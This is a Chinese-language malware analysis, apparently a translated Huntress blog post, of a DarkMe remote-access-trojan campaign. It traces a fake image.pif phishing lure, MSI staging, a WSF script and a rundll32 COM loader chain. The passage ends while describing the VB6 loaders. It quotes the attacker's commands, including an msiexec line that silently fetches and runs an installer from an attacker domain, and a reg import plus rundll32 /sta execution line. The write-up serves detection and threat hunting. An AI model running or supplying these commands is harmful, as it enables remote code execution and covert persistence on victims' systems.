DarkMe 是一种 Visual Basic 6 (VB6) 间谍木马和远程访问工具,在 2024 年 2 月因其利用零日漏洞传播恶意软件而广为人知。但这个恶意软件家族最早是在 2021 年 9 月被观察到,并在一年后由 NSFOCUS 公开记录,归因于一个名为 EvilNum 的团体。Trend Micro 和 SonicWall 的研究人员也将该恶意软件与 Water Hydra 关联在一起,尽管有通常的归因警告,Water Hydra 是一个追求金钱而非间谍活动的 APT 组织。它的活动通常是出于经济动机,目标包括外汇交易者、股票交易论坛、在线赌博平台和加密货币用户。
使 DarkMe 恶意软件引人注目的原因在于其传播方式。在 2023 年,Water Hydra 利用 WinRAR 扩展欺骗漏洞 CVE-2023-38831 作为零日,通过交易论坛投放恶意档案。在 2023 年底和 2024 年初,Water Hydra 转向 CVE-2024-21412,这是一个基于指向另一个快捷方式的快捷方式的 Defender SmartScreen 绕过方法(是的,这确实存在),通过一个经过精心设计的 Explorer 视图在 WebDAV 共享上进行分发。
但我们的故事从 Huntress 威胁狩猎团队的视角开始,这种交易手法几乎无法识别。这里根本没有漏洞利用。一个狩猎规则捕捉到与程序信息文件 (PIF) 启动 Windows Installer 相关的奇怪活动。PIF 之后的所有内容都是教科书式的 DarkMe,但之前的所有内容坦率地说,乏味。尽管如此,我们认为这是一个有趣的故事,因为它展示了高级威胁行为者选择不那么复杂的初始访问方法以扩大其目标的更大趋势。
图 1:此新 DarkMe 活动所采用的攻击链概述
技术分析
初始访问:一张不是照片的图片
传播通过一封普通的社会工程恶意垃圾邮件中的链接进行:
图 2:伪装成图像的 PIF 的钓鱼邮件
尽管邮件中的链接指向 https://readonline365[.]com/view/image.png,这是一个图形文件的 URL,但网络服务器交付的是 image.pif,一个 Windows 可执行文件。
图 3:属性表将该文件描述为“MS-DOS 程序的快捷方式”,但该文件本身是一个可执行文件。
.pif 扩展名是 DOS 时代的遗物,指的是“程序信息文件”。现代 Windows 系统将 .pif 文件作为程序执行,无论扩展名暗示什么(或图标显示什么)。
图 4:当重命名为 .exe 扩展名时,文件属性表的详细信息标签显示先前隐藏的伪造信息,暗示该文件是名为 Aegis Sentinel 的安全产品的一个组件,但与该产品无关。
同样的、完全相同的文件,一个 1 MB 的 PE32+ 二进制文件,被交付到两个 Huntress 客户环境。用户只是双击并下载了该文件,未意识到它是什么。
图 5:image.pif 下载和执行
阶段:msiexec,一个 exemsi 包装器和一个脚本
PIF 唯一的工作是调用 Microsoft 安装程序 msiexec,以下载并执行托管在攻击者注册的网络地址上的 .msi 安装文件。它执行了以下命令:
msiexec /i https://onlineview365[.]com/propi.msi /quiet /norestart
通过 HTTPS 获取远程 MSI 并使用 /quiet 在大多数环境中是罕见的,因为合法的安装程序几乎从不位于一个空域的根目录中。
MSI 本身就是一个线索。其元数据将其标识为使用 exemsi “MSI Wrapper”(版本 11.0.53.0)构建,包装在化名“PrinterFind Softwares”下,创建日期为 2024 年 1 月 11 日。包装器的良性框架都存在:
MsiCustomActions.dll
newdev.exe stub
BZ.RUN_BEFORE_INSTALL_FILE 设置为 wScript.exe
换句话说,安装程序的目的是展开一个 Windows Cabinet 档案文件并运行一个脚本。EXPAND.EXE -R files.cab 将组件放入 %AppData%\ComponentsFolder\,安装程序执行 prnfig.wsf。
图 6:安装在名为 ComponentsFolder 的文件夹中的 DarkMe 组件
加载 Gist...
图 7:prnfig.wsf,阶段脚本,显示文件复制、注册表模板重写以及注册导入加上 rundll32 /sta 移交。
阅读 prnfig.wsf 清晰地揭示了操作员的意图。Windows 脚本主机文件执行四个操作:
将每个投放的文件复制到 %AppData%\ComponentsFolder\
仅将 clspack.exe 复制到 %AppData%\Microsoft\,为一个签名的 Microsoft 二进制文件的空心目标做准备
写入一个用于更改 Windows 注册表的模板
触发加载程序
投放的文件 text.txt 是一个注册表模板,将 COM 对象注册为 @="Coconout.dll"。脚本读取它,替换完整的 %AppData%\ComponentsFolder\Coconout.dll 路径(包括路径中的本地用户帐户名称),转义反斜杠以便进行 .reg 导入,并将结果写入 filetext2.txt。然后它休眠 1.5 秒并运行:
cmd /c reg.exe import "...filetext2.txt" && rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}
加载 Gist...
图 8:用于导入的 filetext.txt 注册表模板
该导入在 HKCU\Software\Classes\CLSID\{CFDC57BA-1705-45AF-BA10-EFC3D592982B} 下注册了一个 COM 服务器,ProgID 为 Coconout.Primary,InprocServer32 指向 Coconout.dll。
加载程序:Rundll32.exe 和三个 Visual Basic 6 加载程序
启动感染最终阶段的命令,rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B},在 2024 年的活动中被观察到,是一个很好的签名,可以用于检测或狩猎。/sta 标志通过 IShellRunDll::Run 在单线程公寓 (STA) 中运行注册的 COM 对象,这是一个较不为人知的执行路径,避开了基于通常的 rundll32 <dll>,<export> 语法的检测。
值得注意的是,DLL 路径从未出现在命令行中,只有一个不透明的 UUID。
从那里,链条通过三个 VB6 加载程序运行,每个加载程序都是一个模糊层,调用下一个加载程序中的命名导出:
Coconout.dll 是阶段 1 的 COM 负载。